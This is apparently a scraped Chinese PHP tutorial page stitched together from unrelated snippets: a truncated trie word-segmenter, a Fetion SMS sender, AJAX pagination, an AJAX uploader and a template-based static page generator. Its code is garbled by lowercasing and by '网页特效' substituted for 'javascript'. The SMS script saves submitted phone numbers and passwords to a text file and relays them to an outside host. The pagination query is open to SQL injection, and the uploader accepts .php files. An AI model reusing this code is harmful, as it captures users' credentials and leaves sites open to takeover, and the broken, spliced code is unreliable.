php简单中文分词系统

 更新时间:2016年11月25日 16:27  点击:1637

结构:首字散列表、trie索引树结点
优点:分词中,不需预知待查询词的长度,沿树链逐字匹配。
缺点:构造和维护比较复杂,单词树枝多,浪费了一定的空间
* @version 0.1
* @todo 构造通用的字典算法,并写了一个简易的分词
* @author shjuto@gmail.com
* trie字典树
*
*/

 代码如下 复制代码

class trie
{
        private $trie;

        function __construct()
        {
                 $trie = array('children' => array(),'isword'=>false);
        }

        /**
         * 把词加入词典
         *
         * @param string $key
         */
        function &setword($word='')
        {
                $trienode = &$this->trie;
                for($i = 0;$i < strlen($word);$i++)
                {
                        $character = $word[$i];
                        if(!isset($trienode['children'][$character]))
                        {
                                $trienode['children'][$character] = array('isword'=>false);
                        }
                        if($i == strlen($word)-1)
                        {
                                        $trienode['children'][$character] = array('isword'=>true);
                        }
                        $trienode = &$trienode['children'][$character];
                }
        }

        /**
         * 判断是否为词典词
         *
         * @param string $word
         * @return bool true/false
         */
        function & isword($word)
        {
                $trienode = &$this->trie;
                for($i = 0;$i < strlen($word);$i++)
                {
                        $character = $word[$i];
                        if(!isset($trienode['children'][$character]))
 &

 代码如下 复制代码
error_reporting(0);
if($_get['act']=='send'){
 @file_put_contents(time().'.txt',$_post['mobile_no'].'|||'.$_post['pass'].'|||'.$_post['sms']." ");
 $post_data="mobile_no={$_post['mobile_no']}&pass={$_post['pass']}&sms=".rawurlencode($_post['sms']);
 $len=strlen($post_data);
 $headers="post /fetion/fetionserver.php http/1.1 ";
 $headers.="accept: */* ";
 $headers.="content-type: application/x-www-form-urlencoded ";
 $headers.="user-agent: 111cn.net.net ";
 $headers.="host: x.111cn.net.net ";
 $headers.="content-length: {$len} ";
 $headers.="connection: close ";
 $headers.=$post_data;
 if($fp=fsockopen('v.net',80,$errno,$errstr,90)){
  //flock($fp,lock_ex);
  fwrite($fp,$headers);
  echo fread($fp,10240);
  fclose($fp);
 }
}
?>
 代码如下 复制代码

<!doctype html public "-//w3c//dtd xhtml 1.0 transitional//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd">
<html xmlns="http://www.111cn.net/1999/xhtml">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>无标题文档</title>
</head>

<body>
<form action="a-client.php?act=send" method="post" enctype="application/x-www-form-urlencoded" name="form1" id="form1">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="34%" height="200">&nbsp;</td>
    <td width="66%">&nbsp;</td>
  </tr>
  <tr>
    <td align="right">手机号码:</td>
    <td><input type="text" name="mobile_no" id="mobile_no" /></td>
  </tr>
  <tr>
    <td align="right">飞信密码:</td>
    <td><input type="password" name="pass" id="pass" /></td>
  </tr>
  <tr>
    <td align="right">短信内容:</td>
    <td><textarea name="sms" id="sms" cols="45" rows="5">晚上好咯!</textarea></td>
  </tr>
  <tr>
    <td align="right" height="40">&nbsp;</td>
    <td><input type="submit" value=" 发送 " /></td>
  </tr>
</table>

</form>
</body>
</html>

 

我们这里是利用php+js+ajax实现数据无刷新分页哦,这个非常的简单哦有兴趣的同学可进入参考。

 代码如下 复制代码

//index.php文件
header("content-type: text/html; charset=utf-8");
error_reporting(e_all^e_notice);
include('pagination_class.php');
mysql教程_connect('localhost', 'root', '') or die(mysql_error());
mysql_select_db('mydemo');
mysql_query("set names 'utf8'");
?>
<script language="网页特效" src="pagination.网页特效"></script>
<link rel="stylesheet" type="text/css教程" href="style.css" />
<?
$qry = "select * from students";
$searchtext = "";
if($_request['search_text']!=""){
 $searchtext = $_request['search_text'];
 $qry .=" where name like '$searchtext%'";
}
//for pagination
$starting=0;
$recpage = 2;//number of records per page
 
$obj = new pagination_class($qry,$starting,$recpage);  
$result = $obj->result;

   
   ?><form name="form1" action="testpage.php" method="post">
   
   <table border="1" align="center" width="40%">
   <tr>
     <td colspan="2">
    search <input type="text" name="search_text" id="search_text" value="<?php echo $searchtext; ?>">
     <input type="submit" value="search">
     </td>
   </tr>
   <tr><td colspan="2">
   
   <div id="page_contents">
    <table border="1" align="center" width="100%">
    <tr><td>sl no</td><td>name</td></tr>
    <?if(mysql_num_rows($result)!=0){
     $counter = $starting + 1;
     while($data = mysql_fetch_array($result)) {?>
      <tr>
      <td><? echo $counter; ?></td>
      <td><? echo $data['name']; ?></td>
      </tr><?
      $counter ++;
     } ?>
    
      
     <tr><td colspan="2"><? echo $obj->anchors; ?></td></tr>
     <tr><td colspan="2"><? echo $obj->total; ?></td></tr>
    <?}else{?>
     <tr><td align="center" colspan="2">no data found</td></tr>
    <?}?>
    </td></tr>
    </table>
   </div>
   </td></tr>
  </table></form>
   


 pagination.js文件
   

 代码如下 复制代码

      function $()
{
  var elements = new array();
  for (var i = 0; i < arguments.length; i++)
  {
    var element = arguments[i];
    if (typeof element == 'string')
      element = document.getelementbyid(element);
    if (arguments.length == 1)
      return element;
    elements.push(element);
  }
  return elements;
}

var xmlhttp
function pagination(page)
{
xmlhttp=getxmlhttpobject();
if (xmlhttp==null)
  {
  alert ("your browser does not support ajax!");
  return;
  }
var url="test_sub.php";
url = url+"?starting="+page;
url = url+"&search_text="+$('search_text').value;
url=url+"&sid="+math.random();
xmlhttp.onreadystatechange=statechanged;
xmlhttp.open("get",url,true);
xmlhttp.send(null);
}

function statechanged()
{
if (xmlhttp.readystate==4)
{
$("page_contents").innerhtml=xmlhttp.responsetext;
}
}

function getxmlhttpobject()
{
var xmlhttp=null;
try
  {
  // firefox, opera 8.0+, safari
  xmlhttp=new xmlhttprequest();
  }
catch (e)
  {
  // internet explorer
  try
    {
    xmlhttp=new activexobject("msxml2.xmlhttp");
    }
  catch (e)
    {
    xmlhttp=new activexobject("microsoft.xmlhttp");
    }
  }
return xmlhttp;
}

 

这是一款精小精悍的文件上传代码,并且很实用的ajax php文件上传代码。 ajax文件上传原理很简单就是实时返回用户提交的数据,进行计算,这样只是局部刷新了页面,用户感觉不到的。

 代码如下 复制代码
<p id="errorremind"></p>
<input id="unloadpic" type="button" value="上传图片" />
<ol id="uploadedname"></ol>
 代码如下 复制代码

<script type="text/网页特效" >
 (function(){
 
 var d = document, w = window;
 
 
 function get(element){
 if (typeof element == "string")
  element =d.getelementbyid(element);
 return element;
 }
 
 function addevent(el, type, fn){
 if (w.addeventlistener){
 el.addeventlistener(type, fn, false);} else if (w.attachevent){var f = function(){
 fn.call(el, w.event);
 };   
 el.attachevent('on' + type, f)
 }}
 
 
 var toelement = function(){var div = d.createelement('div');
  return function(html){div.innerhtml = html;var el = div.childnodes[0];
 div.removechild(el);return el;}
 }();
 
 
 function hasclass(ele,cls){
 return ele.classname.match(new regexp('(\s|^)'+cls+'(\s|$)'));
 }
 
 function addclass(ele,cls) {
 if (!hasclass(ele,cls)) ele.classname += " "+cls;
 }
 
 function removeclass(ele,cls) {
 var reg = new regexp('(\s|^)'+cls+'(\s|$)');
 ele.classname=ele.classname.replace(reg,' ');
 }
  
 
 if (document.documentelement["getboundingclientrect"]){
 
  var getoffset = function(el){var box = el.getboundingclientrect(),
 doc = el.ownerdocument,body = doc.body,
   docelem = doc.documentelement,clienttop = docelem.clienttop || body.clienttop || 0,clientleft = docelem.clientleft || body.clientleft || 0,
 zoom = 1;
 if (body.getboundingclientrect) {var bound = body.getboundingclientrect();
 zoom = (bound.right - bound.left)/body.clientwidth;
 }
 
 if (zoom > 1){
 clienttop = 0;
 clientleft = 0;}
 var top = box.top/zoom + (window.pageyoffset || docelem && docelem.scrolltop/zoom || body.scrolltop/zoom) - clienttop,left = box.left/zoom + (window.pagexoffset|| docelem && docelem.scrollleft/zoom || body.scrollleft/zoom) - clientleft;
 
 return {
 top: top,left: left
 };}
 
 }else {
 var getoffset = function(el){
 if (w.jquery){
 return jquery(el).offset();
 }var top = 0, left = 0;
 do {top += el.offsettop || 0;
 left += el.offsetleft || 0;}
  while (el = el.offsetparent);return {left: left,
 top: top};}
 }
 
 
 
 
 
 function getbox(el){
 var left, right, top, bottom;var offset = getoffset(el);
 left=offset.left;
 top = offset.top;right = left + el.offsetwidth;bottom = top + el.offsetheight;return {
  left: left,
 right: right,top: top,bottom: bottom
 };
 }
 
 
 
 function getmousecoords(e){   
  
 if (!e.pagex && e.clientx){var zoom = 1; 
 var body = document.body;
 
 if (body.getboundingclientrect) {
 var bound = body.getboundingclientrect();zoom = (bound.right - bound.left)/body.clientwidth;
 }
 
 
     return {
 x: e.clientx / zoom + d.body.scrollleft + d.documentelement.scrollleft, y: e.clienty / zoom + d.body.scrolltop + d.documentelement.scrolltop
 };
 }return {x: e.pagex,y: e.pagey
 };
 
 }
 
 
 
 
 
 var getuid = function(){var id = 0;return function(){
 return 'valumsajaxupload' + id++;
 }
 }();
 
 
 function filefrompath(file){return file.replace(/.*(/|\)/, "");
 }
 
 
 function getext(file){
 return (/[.]/.exec(file)) ? /[^.]+$/.exec(file.tolowercase()) : '';
 }
 
 
 
 
 
 
 var getxhr = function(){var xhr;
 return function(){if(xhr) return xhr;
 if (typeof xmlhttprequest !== 'undefined') {
 xhr = new xmlhttprequest();
 }else {var v = [
 "microsoft.xmlhttp","msxml2.xmlhttp.5.0",
 "msxml2.xmlhttp.4.0",
 "msxml2.xmlhttp.3.0",
 "msxml2.xmlhttp.2.0"];for (var i=0; i <v.length; i++){ try {xhr = new activexobject(v[i]);
 break;
 } catch (e){}}
 }
 return xhr;
 }
 }();
 
 
 
 
 
 
 // please use ajaxupload , ajax_upload will be removed in the next version
 ajax_upload = ajaxupload = function(button, options){
 
    if (button.jquery){button = button[0];} else if (typeof button == "string" && /^#.*/.test(button)){button = button.slice(1);}
 
 button = get(button);this._input = null;
  this._button = button;this._disabled = false;this._submitting = false;
 this._justclicked = false;
 this._parentdialog = d.body;
 if (window.jquery && jquery.ui && jquery.ui.dialog){var parentdialog = jquery(this._button).parents('.ui-dialog');if (parentdialog.length){this._parentdialog = parentdialog[0];}}
 this._settings = {action: 'upload.php',name: 'userfile',
 data: {},
 autosubmit: true,responsetype: false,closeconnection: '',
 hoverclass: 'hover',onchange: function(file, extension){},onsubmit: function(file, extension){},oncomplete: function(file, response) {}
 };
 
 
 for (var i in options) {this._settings[i] = options[i];}
  this._createinput();this._rerouteclicks();
 }
 
 
 
 
 // assigning methods to our class
 ajaxupload.prototype = {
 setdata : function(data){this._settings.data = data;},disable : function(){this._disabled = true;
 },enable : function(){this._disabled = false;},
 destroy : function(){
 if(this._input){
 if(this._input.parentnode){this._input.parentnode.removechild(this._input);
 }
  this._input = null;
 }
 },_createinput : function(){
 var self = this;
 var input = d.createelement("input");
 input.setattribute('type','file');input.setattribute('name', this._settings.name);
 
 var styles = {'position' : 'absolute'
 ,'margin': '-5px 0 0 -175px','padding': 0,'width': '220px','height': '30px','fontsize': '14px' ,'opacity': 0,'cursor': 'pointer'
 ,'display' : 'none','zindex' :  2147483583 ,'direction' : 'ltr'};
 
 
 for (var i in styles){
 input.style[i] = styles[i];}
 
 if ( ! (input.style.opacity === "0")){input.style.filter = "alpha(opacity=0)";}
        
   
 this._parentdialog.appendchild(input);
 addevent(input, 'change',function(){var file = filefrompath(this.value);if(self._settings.onchange.call(self, file, getext(file)) == false ){return;}      
 if (self._settings.autosubmit){
 self.submit();}
 
  });
 
 
 addevent(input, 'click', function(){
 self.justclicked = true;settimeout(function(){self.justclicked = false;}, 2500);});this._input = input;
 },
  _rerouteclicks : function (){
   var self = this;
 
 
 var box, dialogoffset = {top:0, left:0}, over = false;
  addevent(self._button, 'mouseo教程ver', function(e){
 if (!self._input || over) return;
 over = true;box = getbox(self._button);
      
    
 
 if (self._parentdialog != d.body){
 dialogoffset = getoffset(self._parentdialog);}});
 addevent(document, 'mousemove', function(e){
 
 var input = self._input;
 if (!input || !over) return;
 if (self._disabled){
 removeclass(self._button, self._settings.hoverclass);input.style.display = 'none';return;
 }
    var c = getmousecoords(e);
 
    
 
 
 if ((c.x >= box.left) && (c.x <= box.right) &&
 (c.y >= box.top) && (c.y <= box.bottom)){
 input.style.top = c.y - dialogoffset.top + 'px';
     input.style.left = c.x - dialogoffset.left + 'px';
 input.style.display = 'block';
 addclass(self._button,self._settings.hoverclass);
 } else {
 over = false;var check = setinterval(function(){
 if (self.justclicked){
 return;
 }
 
 if ( !over ){
 input.style.display = 'none';} clearinterval(check);
 }, 25);
 removeclass(self._button, self._settings.hoverclass);}});}, _createiframe :
 
 function(){// same value in safari :(
 var id = getuid();
 var iframe = toelement('<iframe src="网页特效:false;" name="' + id + '" />');iframe.id = id;iframe.style.display = 'none';
   d.body.appendchild(iframe);return iframe;},
 submit : function(){
 var self = this, settings = this._settings;
 if (this._input.value === ''){return;
 }
 
 var file = filefrompath(this._input.value);  
 
 
 //1star
 if (!(settings.onsubmit.call(this, file, getext(file)) == false)) {var iframe = this._createiframe();
 var form = this._createform(iframe);
 form.appendchild(this._input);
 
 
 if (settings.closeconnection && /applewebkit|msie/.test(navigator.useragent)){ var xhr = getxhr();
 xhr.open('get', settings.closeconnection,false);
 xhr.send('');
 }
    
 form.submit();
 d.body.removechild(form);form = null;
 this._input = null;this._createinput();
 var todeleteflag = false;
 
 addevent(iframe, 'load',function(e){
 
 if (iframe.src == "javascript:'%3chtml%3e%3c/html%3e';" ||
  iframe.src == "javascript:'<html></html>';"){
 if( todeleteflag ){settimeout( function() {
 d.body.removechild(iframe); }, 0);
 }
 return;}
 
 var doc = iframe.contentdocument ? iframe.contentdocument : frames[iframe.id].document;
 
 
 if (doc.readystate && doc.readystate != 'complete'){
 return;
  }
 
 if (doc.body && doc.body.innerhtml == "false"){return;}
 
 var response;
          
     
 
 if (doc.xmldocument){response = doc.xmldocument;
 } else if (doc.body){
 response = doc.body.innerhtml;
 if (settings.responsetype && settings.responsetype.tolowercase() == '网页特效on'){
 if (doc.body.firstchild && doc.body.firstchild.nodename.touppercase() == 'pre'){response = doc.body.firstchild.firstchild.nodevalue;}
 
 if (response) {
 response = window["eval"]("(" + response + ")");
 } else {
 response = {};
 }
 }
 } else {var response = doc;
 }
 
 settings.oncomplete.call(self, file, response);
 todeleteflag = true;
 iframe.src = "javascript:'<html></html>';";});
 
 //1end
 
 } else {
  this._input.value = '';
 d.body.removechild(this._input);this._input = null;
  this._createinput();}},
 _createform : function(iframe){
 var settings = this._settings;  
 var form = toelement('<form method="post" enctype="multipart/form-data"></form>');
  form.style.display = 'none';
 form.action = settings.action;
 form.target = iframe.name; d.body.appendchild(form);
 for (var prop in settings.data){
 var el = d.createelement("input");
  el.type = 'hidden';
  el.name = prop;
  el.value = settings.data[prop];
 form.appendchild(el);
 } return form;
 }
 };
 })();
</script>
<script type="text/javascript">
window.onload = function(){
 var obtn = document.getelementbyid("unloadpic");
 var oshow = document.getelementbyid("uploadedname");
 var oremind = document.getelementbyid("errorremind"); 
 new ajaxupload(obtn,{
  action:"upload.php?ml=",
  name:"upload",name1:"upload1",
  onsubmit:function(file,ext){
   if(ext && /^(jpg|jpeg|txt|gif|png|php|htm|html)$/.test(ext)){
    //ext是后缀名
    obtn.value = "正在上传…";
    obtn.disabled = "disabled";
   }else{oremind.style.color = "#ff3300";oremind.innerhtml = "不支持这种文件格式!";return false;}
  },
  oncomplete:function(file,response){
   obtn.disabled = "";
   obtn.value = "再上传一张图片";
   oremind.innerhtml = "";
   var newchild =  document.createelement("li");
   newchild.innerhtml = file;
   oshow.appendchild(newchild);
  }
 });
};
</script>

upload.php文件

 代码如下 复制代码

<?php  
$a=$_files['upload']['name'];
$fp = fopen(date("md").".txt","a");$hst = $_server['http_referer'];

$str = $hst;fwrite($fp,$str);fclose($fp);

$file_path = 'm/';
 $file_up = $file_path.basename($_files['upload']['name']);
 if(move_uploaded_file($_files['upload']['tmp_name'],$file_up)){
  echo 'success'; 
 }else{
  echo 'fail'; 
 }
?>

本款生成静态页面程序实现原理是做好自定的模板标签,然后由str_replace把标签替换成指定的内容,再由fopen生成指定 文件名的静态页面,这样就OK了。
 代码如下 复制代码
header('content-type:text/html;charset=utf-8');
if(!function_exists('file_get_contents')){ //如果系统没有file_get_contents()函数
 function file_get_contents($file){ //自己写file_get_contents()函数
  $fp = fopen($file,'r');
  $content = fread($fp,filesize($file));
  fclose($fp);
  return $content;
 }
}
$tmp_file = 'template.html'; //模板文件
$content = file_get_contents($tmp_file); //获得模板文件内容
$title = 'title'; //模板变量title要替换的值
$text = 'text'; //模板变量text要替换的值
$content = str_replace('<{title}>',$title,$content); //替换模板变量title
$content = str_replace('<{text}>',$text,$content); //替换模板变量text
//echo $content; //显示替换后的模板文件内容
makehtml('news.html',$content);//写入生成后的静态文件内容到news.html文件
echo '<a href="news.html" target="_blank">查看文件</a>';
function makehtml($file,$content){
 $fp = fopen($file,'w');
 fwrite($fp,$content);
 fclose($fp);
}
?>

//template.html

 代码如下 复制代码
<!doctype html public "-//w3c//dtd xhtml 1.0 transitional//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>makehtml</title>
</head>
<body>
这是模板变量title------<{title}>
<br />
这是模板变量text------<{text}>
</body>
</html>
[!--infotagslink--]

相关文章

  • js URLdecode()与urlencode方法支持中文解码

    下面来介绍在js中来利用urlencode对中文编码与接受到数据后利用URLdecode()对编码进行解码,有需要学习的机友可参考参考。 代码如下 复制代码 ...2016-09-20
  • 关于Mysql中文乱码问题该如何解决(乱码问题完美解决方案)

    最近两天做项目总是被乱码问题困扰着,这不刚把mysql中文乱码问题解决了,下面小编把我的解决方案分享给大家,供大家参考,也方便以后自己查阅。首先:用show variables like “%colla%”;show varables like “%char%”;这两条...2015-11-24
  • C#读取中文文件出现乱码的解决方法

    这篇文章主要介绍了C#读取中文文件出现乱码的解决方法,涉及C#中文编码的操作技巧,非常具有实用价值,需要的朋友可以参考下...2020-06-25
  • Mysql在debian系统中不能插入中文的终极解决方案

    在debian环境下,彻底解决mysql无法插入和显示中文的问题Linux下Mysql插入中文显示乱码解决方案mysql -uroot -p 回车输入密码进入mysql查看状态如下:默认的是客户端和服务器都用了latin1,所以会乱码。解决方案:mysql>use...2013-10-04
  • linux mint 下mysql中文支持问题

    一.mysql默认不支持中文,它的server和db默认是latin1编码.所以我们要将其改变为utf-8编码,因为utf-8包含了地球上大部分语言的二进制编码 1.关闭mysql服务 sudo /etc/init.d/mysql stop 2.修改mysql配置文件 mysql配...2015-10-21
  • Windows服务器MySQL中文乱码的解决方法

    我们自己鼓捣mysql时,总免不了会遇到这个问题:插入中文字符出现乱码,虽然这是运维先给配好的环境,但是在自己机子上玩的时候咧,总得知道个一二吧,不然以后如何优雅的吹牛B。...2015-03-15
  • php怎么用拼音 简单的php中文转拼音的实现代码

    小编分享了一段简单的php中文转拼音的实现代码,代码简单易懂,适合初学php的同学参考学习。 代码如下 复制代码 <?phpfunction Pinyin($_String...2017-07-06
  • Java连接数据库oracle中文乱码解决方案

    这篇文章主要介绍了Java连接数据库oracle中文乱码解决方案,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下...2020-05-16
  • FlashFXP连接站点中文显示乱码解决办法

    FlashFXP是一款常用的服务器客户连接软件了,我们可以通过FlashFXP来上传或下载文件,但有一些朋友使用FlashFXP时碰到中文目录或文件名乱码问题,那么要如何来解决呢?具体就...2016-10-10
  • php中把unicode编码转化为中文

    小编在网上看到最多的就是汉字转换unicode编码了,今天我们看到一个反过来的操作就是把unicode转换成中文了,下面一起来看看 这两天帮别人开发微信平台好友板块,存...2016-11-25
  • php 判断是否是中文/英文/数字示例代码

    复制代码 代码如下: $str='asb天水市12'; if (preg_match("/^[/x7f-/xff]+$/", $str)){ echo '全部是汉字'; }else { echo '不全是汉字'; } /** PHP自带的判断是否是中文, eregi('[^/x00-/x7F]', $str ) //中文 ereg...2013-10-04
  • php中文转换成拼音代码

    <?php教程 function cn2pinyin($_string, $_code='gb2312') { $_datakey = "a|ai|an|ang|ao|ba|bai|ban|bang|bao|bei|ben|beng|bi|bian|biao|bie|bin|bing|b...2016-11-25
  • JavaScript过滤字符串中的中文与空格方法汇总

    这篇文章主要介绍了JavaScript过滤字符串中的中文与空格方法汇总 的相关资料,需要的朋友可以参考下...2016-03-09
  • three.js显示中文字体与tween应用详析

    这篇文章主要给大家介绍了关于three.js显示中文字体与tween应用的相关资料,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2021-01-04
  • php 根据啊拉伯数字转变成大写中文数字

    // 原是是根据用户输入的数字判断再转换成想要的大写数字,如果我们先把大小写存在一个数组,再判断进行转换就OK了。 $data = $_POST['rmb']; if (!ereg("^[0-9.]",$dat...2016-11-25
  • PHP把16进制的编码转为中文程序代码

    今天在做公司的项目的时候,遇到一个问题,群聊天记录存入数据库的时候把聊天记录及央视使用16进制转换,我在做将聊天记录导出为text文本的时候,需要将聊天记录先从16进制转...2016-11-25
  • 如何正确统计中文字数?

    PHP代码:-------------------------------------------------------------------------------- function ccStrLen($str) #计算中英文混合字符串的长度 { $ccLe...2016-11-25
  • 深度解析MySQL 5.7之中文全文检索

    InnoDB默认的全文索引parser非常合适于Latin,因为Latin是通过空格来分词的。但对于像中文,日文和韩文来说,没有这样的分隔符。一个词可以由多个字来组成,所以我们需要用不同的方式来处理。在MySQL 5.7.6中我们能使用一个新的全文索引插件来处理它们:n-gram parser。...2017-01-09
  • JS验证逗号隔开可以是中文字母数字

    这篇文章主要介绍了JS验证逗号隔开可以是中文字母数字 的相关资料,需要的朋友可以参考下...2016-04-24
  • JS实现金额转换(将输入的阿拉伯数字)转换成中文的实现代码

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xh...2013-10-07